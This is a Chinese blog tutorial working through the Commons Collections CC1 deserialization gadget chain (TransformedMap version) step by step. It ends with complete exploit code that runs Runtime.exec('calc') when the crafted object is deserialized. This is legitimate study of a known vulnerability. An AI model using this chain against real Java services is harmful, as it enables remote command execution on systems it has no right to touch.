CC1链(TransformedMap版)的学习
CC1链(TransformedMap版)
红烧花园宝宝:https://lxu2n.github.io/posts/9e8a5add/
白日梦组长视频:https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1387.homepage.video_card.click
文章:https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/
文章出处:https://yschen20.github.io/2025/11/05/CC1链(TransformedMap版)/
环境搭建
新建一个Java项目,使用JDK8u65、Maven3.6.3


在项目根目录中的pom.xml中添加对CC1链的依赖包
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>CC1</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

可以importCC包验证一下,没有报错就是成功了
import org.apache.commons.collections.functors.InvokerTransformer;
直接解压缩JDK8u65的src压缩包,然后打开项目结构中的SDK,在源路径中将src导入进去


可以跑个程序验证一下,没报错就是成功
import org.apache.commons.collections.functors.InvokerTransformer;
public class Test {
public static void main(String[] args) throws Exception{
Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
}
}

Common-Collections介绍
大佬文章:闪烁之狐
简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充,在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充
包结构
org.apache.commons.collections– CommonsCollections自定义的一组公用的接口和工具类org.apache.commons.collections.bag– 实现Bag接口的一组类org.apache.commons.collections.bidimap– 实现BidiMap系列接口的一组类org.apache.commons.collections.buffer– 实现Buffer接口的一组类org.apache.commons.collections.collection–实现java.util.Collection接口的一组类org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类org.apache.commons.collections.functors–Commons Collections自定义的一组功能类org.apache.commons.collections.iterators– 实现java.util.Iterator接口的一组类org.apache.commons.collections.keyvalue– 实现集合和键/值映射相关的一组类org.apache.commons.collections.list– 实现java.util.List接口的一组类org.apache.commons.collections.map– 实现Map系列接口的一组类org.apache.commons.collections.set– 实现Set系列接口的一组类
攻击链分析
目的利用runtime
public class test {
public static void main(String[] args) throws Exception{
Runtime.getRuntime().exec("calc");
}
}
反序列化的攻击思路
在入口类需要一个readObject方法,在结尾需要一个能够命令执行的方法,中间通过链子引导过去,从尾部出发去寻找头
先找到一个可以利用的类(调用可以执行命令的方法A),然后后再去找调用了这个方法A的方法B,然后继续找调用了方法B的方法C,就这样一直找,直到找到了readObject方法,对其重写

寻找实现类
因为Runtime类是不能序列化的,所以要使用反射才能调用类中的getRuntime方法、exec方法
这个是我们注重分析的

因为Runtime类是不能序列化的,所以要使用反射才能调用类中的getRuntime方法、exec方法
Transformer
看Transformer接口,点击选中Transformer,快捷键ctrl+alt+B查看实现接口的类,可以发现:ChainedTransformer、ConstantTransformer、InvokerTransformer这三个类

ConstantTransformer

public Object transform(Object input) {
return iConstant;
}
这个意思是不管接受什么,都返回它本身
ChainedTransformer
看名字可得这个是链式的,
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
/**
* Transforms the input to result via each decorated transformer
*
* @param object the input object passed to the first transformer
* @return the transformed result
*/
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
大概作用是赋值的时候他会传一个调用方法的数组,把传进去的对象链式调用,前一个输出作为后一个的输入,递归调用
InvokerTransformer //重点
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
在这里接受一个对象然后反射调用,有方法值,参数类型,参数都可控,即任意方法调用,即攻击链分析的最后一点
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
攻击链构造
第一步
通过刚才分析已经明确了要使用InvokerTransformer的transform方法的反射机制调用Runtime类的方法来构造命令执行
回顾一下如何构造普通反射:
### 方法一:使用Class.forName静态方法
```java
Class person1 = Class.forName("Person");
```
### 方法二:使用.class方法
```java
Class class2 = TestReflection.class;
```
### 方法三:使用对象.getClass方法
```java
TestReflection testReflection = new TestReflection();
Class class3 = testReflection.getClass();
```

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
//获取类
Class c = Runtime.class;
//获取类方法
Method execMethod = c.getMethod("exec", String.class);
//反射调用,调用对象r,调用参数计算器
execMethod.invoke(r,"calc");
}
}
上面是普通反射,现在我们改用InvokerTransformer写法
InvokerTransformer要调用transform,并且需要参数名、类型、值,我们把类型和值都定义为数组
先看看InvokerTransformer的构造函数:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
有三个参数:
methodName:要调用的目标方法,这里可以传入getDeclaredMethod从而可以获得Runtime类的任意方法paramTypes:目标方法的参数类型数组,这里就是getDeclaredMethod的参数类型数组args:实际传给目标方法的参数,这里是要将getRuntime作为参数传给getDeclaredMethod方法,按照参数类型可以写为new Object[]{"getRuntime",null}
Runtime r = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
现在我们已经找到实现危险方法的一步了,应该找上一步,最终找到在入口类需要一个readObject方法

第二步
InvokerTransformer.transformer是一个危险方法我们需要找谁调用了.transformer
我们跟进,选择查找用法


在TransformedMap里有好几处都调用了transformer,我们查看checkSetValue方法里有``valueTransformer`
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们查看该方法的构造函数

是protected肯定是自己调用
就要去找哪里可以实例化这个对象,可以找到decorate方法可以return一个实例化对象

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
所以可以将decorate方法返回的实例化对象传给checkSetValue方法
那么我们选择需要新建一个map才能用这个吧
HashMap<Object,Object> map = new HashMap<>();
根据我们需要的参数来修饰map,keyTransformer, valueTransformer,还记得我们的入口吗checkSetValue,
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
他只对value管用,对key无所谓,我们对key赋空值,出现了这个代码
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
TransformedMap.decorate(map, null, invokerTransformer);
什么意思呢,当他在执行TransformedMap.decorate(map, null, invokerTransformer);的时候,会调用checkSetValue,而我们传给checkSetValue是invokerTransformer,就会走到invokerTransformer的方法,
第三步
继续向上找哪里调用了checkSetValue方法,可以发现在AbstractInputCheckedMapDecorator类中的MapEntry类中的setvalue方法中调用了
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
那么我们需要走到MapEntry里面
setValue->checkSetValue->TransformedMap->valueTransformer.transform
而MapEntry相当于一个键值对,可以通过遍历进入,而进入后就能调用setValue方法
for (Map.Entry entry : map.entrySet()) {
entry.getValue();
}
目前为止的代码
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","任意");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
//demo
for (Map.Entry entry :transformedMap.entrySet()) {
entry.setValue(r);//r方法
}
第四步
到现在,我们需要找到谁能调用了setvalue


找到了,甚至是readObbject
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
依旧看方法,看构造函数
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
这里接收两个对象,一个是Class类的type参数,一个是Map类的memberValues参数,这里第二个参数就可以将构造好的decorate放进去,然后看第一个参数,是继承了Annotation的泛型,Annotation是个注解,注解就像是Override这样的
所以我们选择要实例化这个类然后尝试调用他,因为没有写public,所以一般是default,只有同一个包下的其他类,能直接访问这个类
那么我们必须使用反射性获取他并实例化
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Override.class,transformedMap);
选择用Object类来接受是因为AnnotationInvocationHandler是无 public 修饰的包私有类,Java 中所有的类,都会隐式继承java.lang.Object类,Object 是所有类的唯一根父类。
基于这个规则,Java 支持向上转型:任何子类的对象,都可以直接赋值给父类类型的变量。
对应到你的代码里:
AnnotationInvocationHandler类(不管它是不是包私有),也隐式继承了 Object;- 所以它的实例对象,能直接赋值给
Object类型的变量,这是 Java 语法天然允许的。
而且关键一点:Object类是public 的,在 Java 中任何地方都能引用,不会有任何权限问题,是唯一的 “万能接收类型”。
但是我们遇到了两个问题
第一个,我们setvalue的对象
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
是AnnotationTypeMismatchExceptionProxy,好像控制不了
第二个,我们的runtime是我们自己写的,而runtime不能序列化,我们需要反射链子把runtime送出去,而且我们AnnotationInvocationHandler还有两个if没有满足

先解决Runtime无法序列化问题
Runtime.class可以序列化

Runtime类有个静态方法getRuntime会返回runtime,我们调用他就能序列化了
Runtime.getRuntime();
Class c = Runtime.class;
Method getRuntimeMethod = c.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);//赋值给runtime对象 //第一个null静态方法,第二个因为无参所以参数也是空的
Method execMethod = c.getMethod("exec", String.class);//反射调用execMethod方法
execMethod.invoke(r,"calc");//调用
现在解决了第一个问题了,我们反射了,现在重新编写成我们需要的模样
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
这里我们发现一直循环调用InvokerTransformer,我们想到了ChainedTransformer有循环调用功能,可以简化
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
现在解决走进if语句,实现setvalue函数
在if语句打上断点调试

开始这里的type就是传入注解Override
然后调试到下面这里时就会获取到Override的成员变量
不过之前看到了,实际上Override是没有成员变量的
然后memberValue就是键值对,String name = memberValue.getKey();就是获取键值对的key,然后Class<?> memberType = memberTypes.get(name);就是会在memberTypes中查找这个key,最后发现查找到的是空的,memberType就是null了,所以就进不去第一个if里,也就不能达到想要的setValue方法
这里就需要改一下,从上面调试可以发现,会先获取传入的注解的成员方法,然后会在memberTypes查找这个成员方法,所以首先是要找一个有成员方法的Class注解,之前看到了Target是有一个成员方法value

所以把Override改成Target
Object o = annotation.newInstance(Target.class,transformedMap);
再重新调试一次
然后就会发现这里获取到的键值对的键是key,因为map.put("key","value");传入的就是key,而在Target注解中是没有key的,所以此时memberType还是null
所以map.put("key","value");这里也要改一下,其中的key要改成成员方法的名字value,这样才能查找到
map.put("value","任意");
重新调试

可以看到此时获取到的键值对的键是value,memberType不再是null了,可以成功通过第一个if判断
第二个if是判断能不能强转,这里是肯定不能强转的,所以第二个if判断也可以通过
然后就到了想要的setValue方法了,这时候我们步入进去,如果我们能控制,就命令执行了

一直步入我们到达了这个点

// chainedTransformer.transform(Runtime.class);
// valueTransformer.transformer(value)
这个两个是一样的
我们需要把value改成Runtime.class
但是在调试中可以看到此时的value是下面这个代理

就是AnnotationTypeMismatchExceptionProxy

回想在攻击链分析时还看到一个类:ConstantTransformer,在这个类中的transform方法不管接收什么输入,都会返回预设的常量的值
所以在最后只要调用ConstantTransformer类的transform方法,就可以把AnnotationTypeMismatchExceptionProxy改成Runtime.class
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception{
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
// valueTransformer.transformer(value)
HashMap<Object,Object> map = new HashMap<>();
map.put("value","任意");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
//Runtime.getRuntime();
// Class c = Runtime.class;
// Method getRuntimeMethod = c.getMethod("getRuntime", null);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
// // Runtime.getRuntime().exec("calc");
// Runtime r = Runtime.getRuntime();
// //获取类
// Class c = Runtime.class;
// //获取类方法
// Method execMethod = c.getMethod("exec", String.class);
// //反射调用,调用对象r,调用参数计算器
// execMethod.invoke(r,"calc");
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// for (Map.Entry entry :transformedMap.entrySet()) {
// entry.setValue(r);
// }
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
阶段 1:构造恶意的链式转换器(ChainedTransformer)
Transformer[] transformers = new Transformer[]{
// 转换器1:常量转换器,无论输入是什么,都返回Runtime.class(Class对象)
new ConstantTransformer(Runtime.class),
// 转换器2:反射调用转换器,调用输入对象的getMethod方法
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),
// 转换器3:反射调用转换器,调用输入对象的invoke方法
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
// 转换器4:反射调用转换器,调用输入对象的exec方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
输入 → 转换器1 → 输出Runtime.class → 转换器2 → 输出Method对象(getRuntime方法) → 转换器3 → 输出Runtime实例 → 转换器4 → 执行exec("calc") → 弹出计算器
阶段 2:构造被恶意转换器装饰的 TransformedMap
这一步是将链式转换器绑定到 Map 上,让 Map 成为 “触发转换器的容器”:
// 1. 创建普通HashMap,随便放一个键值对(key=value,value=任意值)
HashMap<Object,Object> map = new HashMap<>();
map.put("value","任意");
// 2. 用TransformedMap装饰普通Map,Key转换器为null(不处理Key),Value转换器为恶意的链式转换器
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
阶段 3:构造 AnnotationInvocationHandler 恶意对象(核心触发容器)
这一步是将恶意 TransformedMap 绑定到可序列化的 AnnotationInvocationHandler 上,为反序列化触发做准备:
// 1. 反射获取AnnotationInvocationHandler类(该类是包私有类,无法直接new)
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 2. 获取其构造器:参数为(注解Class,Map),该构造器是私有的
Constructor annotation = c.getDeclaredConstructor(Class.class, Map.class);
// 3. 突破访问权限,允许反射调用私有构造器
annotation.setAccessible(true);
// 4. 实例化:传入任意注解Class(Target.class),以及恶意的TransformedMap
Object o = annotation.newInstance(Target.class,transformedMap);
至此,整个链的触发闭环形成:
反序列化 → AnnotationInvocationHandler.readObject → 调用TransformedMap的setValue → 执行ChainedTransformer.transform → 链式执行4个基础转换器 → 反射执行Runtime.exec("calc")
反序列化AnnotationInvocationHandler对象 → 其readObject遍历并修改关联的TransformedMap的 Value → TransformedMap触发绑定的ChainedTransformer → 依次执行ConstantTransformer(Runtime.class)→InvokerTransformer(getMethod)→InvokerTransformer(invoke)→InvokerTransformer(exec) → 反射调用Runtime.getRuntime().exec("calc") → 执行系统命令






浙公网安备 33010602011771号